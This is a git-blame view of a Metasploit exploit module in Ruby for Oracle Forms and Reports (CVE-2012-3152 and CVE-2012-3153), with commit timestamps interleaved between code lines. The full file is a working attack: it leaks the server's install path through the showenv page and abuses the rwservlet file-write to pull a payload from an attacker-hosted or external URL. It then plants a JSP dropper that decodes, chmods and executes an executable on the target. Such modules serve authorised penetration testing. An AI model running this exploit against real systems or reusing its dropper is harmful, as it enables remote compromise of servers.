Files
metasploit-gs/modules/exploits/multi/http/oracle_reports_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

269 lines
8.1 KiB
Ruby
Raw Normal View History

2014-01-30 14:45:17 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-01-30 14:45:17 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-01-30 14:45:17 +01:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
2014-01-31 14:33:18 +01:00
include Msf::Exploit::EXE
2014-01-30 14:45:17 +01:00
Rank = GreatRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Forms and Reports Remote Code Execution',
2014-01-30 14:45:17 +01:00
'Description' => %q{
This module uses two vulnerabilities in Oracle Forms and Reports to get remote code execution
2014-02-17 08:52:56 -06:00
on the host. The showenv url can be used to disclose information about a server. A second
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
used to write a shell from a remote url to a known local path disclosed from the previous
vulnerability.
2017-08-28 20:17:58 -04:00
The local path being accessible from an URL allows an attacker to perform the remote code
execution using, for example, a .jsp shell.
2014-02-17 08:52:56 -06:00
This module was tested successfully on Windows and Oracle Forms and Reports 10.1.
2014-01-30 14:45:17 +01:00
},
'Author' =>
[
2014-01-31 14:33:18 +01:00
'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
2014-01-30 14:45:17 +01:00
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2012-3152" ],
[ "CVE", "2012-3153" ],
[ "OSVDB", "86395" ], # Matches CVE-2012-3152
[ "OSVDB", "86394" ], # Matches CVE-2012-3153
2015-10-27 12:41:32 -05:00
[ "EDB", "31253" ]
2014-01-30 14:45:17 +01:00
],
'Stance' => Msf::Exploit::Stance::Aggressive,
2014-01-31 14:33:18 +01:00
'Platform' => ['win', 'linux'],
2014-01-30 14:45:17 +01:00
'Targets' =>
[
2014-01-31 14:33:18 +01:00
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Windows',
2014-01-30 14:45:17 +01:00
{
2014-01-31 14:33:18 +01:00
'Arch' => ARCH_X86,
'Platform' => 'win'
2014-01-30 14:45:17 +01:00
}
],
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2014-01-15'
2014-01-30 14:45:17 +01:00
))
register_options(
[
2014-02-15 16:24:59 +01:00
OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
2014-02-16 16:24:39 +01:00
OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
2014-01-30 14:45:17 +01:00
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
])
end
def check
2014-01-31 21:59:26 +01:00
res = send_request_cgi({
2014-02-16 16:24:39 +01:00
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
2014-01-31 21:59:26 +01:00
'method' => 'GET'
})
2014-02-16 16:24:39 +01:00
if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
2016-02-01 15:12:03 -06:00
vprint_good "Windows install detected "
2014-02-16 16:24:39 +01:00
path = $1.gsub("\\", "/")
2016-02-01 15:12:03 -06:00
vprint_status "Path: #{path}"
2014-02-16 16:24:39 +01:00
elsif res.body =~ /\/(.*)\/showenv/
2016-02-01 15:12:03 -06:00
vprint_good "Linux install detected"
vprint_status "Path: #{$1}"
2014-02-16 16:24:39 +01:00
else
return Exploit::CheckCode::Safe
end
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
'method' => 'GET',
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'cache',
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => 'file:///'
}
})
if res and res.code == 200 and res.body.downcase.exclude?("<html>")
2016-02-01 15:12:03 -06:00
vprint_good "URLPARAMETER is vulnerable"
2014-02-17 15:11:56 +01:00
return Exploit::CheckCode::Vulnerable
2014-02-16 16:24:39 +01:00
else
2016-02-01 15:12:03 -06:00
vprint_status "URLPARAMETER is not vulnerable"
2014-01-30 14:45:17 +01:00
return Exploit::CheckCode::Safe
end
2014-01-31 21:59:26 +01:00
2014-02-17 08:53:29 -06:00
return Exploit::CheckCode::Safe
2014-01-30 14:45:17 +01:00
end
def exploit
@payload_url = ""
@payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
2014-01-31 14:33:18 +01:00
@payload_dir = datastore['PAYDIR']
2014-01-30 14:45:17 +01:00
@local_path = ""
2016-02-01 15:12:03 -06:00
print_status "Querying showenv!"
2014-01-31 21:59:26 +01:00
res = send_request_cgi({
2014-02-16 16:24:39 +01:00
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
'method' => 'GET',
2014-01-31 21:59:26 +01:00
})
2014-01-30 14:45:17 +01:00
2014-02-16 16:24:39 +01:00
if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
2016-02-01 15:12:03 -06:00
print_good "Query succeeded!"
print_status "Windows install detected "
2014-02-16 16:24:39 +01:00
@local_path = $1.gsub("\\", "/")
2016-02-01 15:12:03 -06:00
print_status "Path: #{@local_path }"
2014-02-16 16:24:39 +01:00
elsif res.body =~ /\/(.*)\/showenv/
2016-02-01 15:12:03 -06:00
print_good "Query succeeded!"
print_status "Linux install detected"
2014-02-16 16:24:39 +01:00
@local_path = $1
2016-02-01 15:12:03 -06:00
print_status "Path: #{@local_path }"
2014-02-16 16:24:39 +01:00
else
2017-07-19 12:48:52 +01:00
print_error "Query failed"
2014-02-16 18:26:08 +01:00
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
2014-01-30 14:45:17 +01:00
end
2014-01-31 14:33:18 +01:00
else
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
end
2014-02-16 16:24:39 +01:00
2014-01-31 14:33:18 +01:00
if datastore['EXTURL'].blank?
2016-02-01 15:12:03 -06:00
print_status "Hosting payload locally ..."
2014-01-31 14:33:18 +01:00
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
2014-01-30 14:45:17 +01:00
else
2016-02-01 15:12:03 -06:00
print_status "Using external url for payload delivery ..."
2014-01-31 14:33:18 +01:00
@payload_url = datastore['EXTURL']
upload_payload
exec_payload
2014-01-30 14:45:17 +01:00
end
end
2014-02-16 18:26:08 +01:00
def primer
@payload_url = get_uri
@pl = gen_file_dropper
upload_payload
end
def on_request_uri(cli, request)
send_response(cli, @pl)
end
def autofilter
true
end
2014-01-31 14:33:18 +01:00
def upload_payload
2016-02-01 15:12:03 -06:00
print_status "Uploading payload ..."
2014-01-30 14:45:17 +01:00
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
res = send_request_cgi({
2014-01-31 21:59:26 +01:00
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
2014-01-30 14:45:17 +01:00
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'file',
'desname' => path,
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => @payload_url
2014-01-31 21:59:26 +01:00
}
2014-01-30 14:45:17 +01:00
})
2014-02-16 16:24:39 +01:00
if res and res.code == 200
2016-02-01 15:12:03 -06:00
print_good "Payload hopefully uploaded!"
2014-01-30 14:45:17 +01:00
else
2017-07-19 12:48:52 +01:00
print_error "Payload upload failed"
2014-01-30 14:45:17 +01:00
end
end
2014-01-31 14:33:18 +01:00
def gen_file_dropper
2014-02-16 16:24:39 +01:00
big_payload = false #size matters :(
gen_payload_name = rand_text_alpha(8+rand(8))
2014-01-31 14:33:18 +01:00
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
2016-02-01 15:12:03 -06:00
print_status "Building JSP shell ..."
2014-01-31 14:33:18 +01:00
2014-02-16 16:24:39 +01:00
len = encoded_pl.length
if len >= 60000 #java string size limit ~60k workaround
2016-02-01 15:12:03 -06:00
print_status "Adjusting shell due to payload size"
2014-02-16 16:24:39 +01:00
pl_first = encoded_pl.slice(0, 60000)
pl_second = encoded_pl.slice(60000, len)
big_payload = true
end
2014-01-31 14:33:18 +01:00
#embed our payload
shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
shell += " <%"
shell += " BASE64Decoder decoder = new BASE64Decoder();"
#correct file suffix if windows
if datastore['TARGET'] == 1
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
else
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
end
shell += " String path = temp.getAbsolutePath();"
2014-02-16 16:24:39 +01:00
if big_payload
shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"
shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
shell += " ou.write(pltwo);"
shell += " ou.close();"
else
shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"
end
2014-01-31 14:33:18 +01:00
#correct rights if linux host
if datastore['TARGET'] == 0
shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
shell += " p.waitFor();"
end
shell += " Runtime.getRuntime().exec(path);"
shell += "%>"
return shell
end
def exec_payload
2016-02-01 15:12:03 -06:00
print_status("Our payload is at: /reports#{@payload_dir}#{@payload_name}")
print_status("Executing payload...")
2014-01-31 21:59:26 +01:00
2014-02-16 16:24:39 +01:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
'method' => 'GET'
})
if res and res.code == 200
2016-02-01 15:12:03 -06:00
print_good("Payload executed!")
2014-02-16 16:24:39 +01:00
else
2017-07-19 12:48:52 +01:00
print_error("Payload execution failed")
2014-01-31 21:59:26 +01:00
end
2014-01-31 14:33:18 +01:00
end
2014-01-30 14:45:17 +01:00
end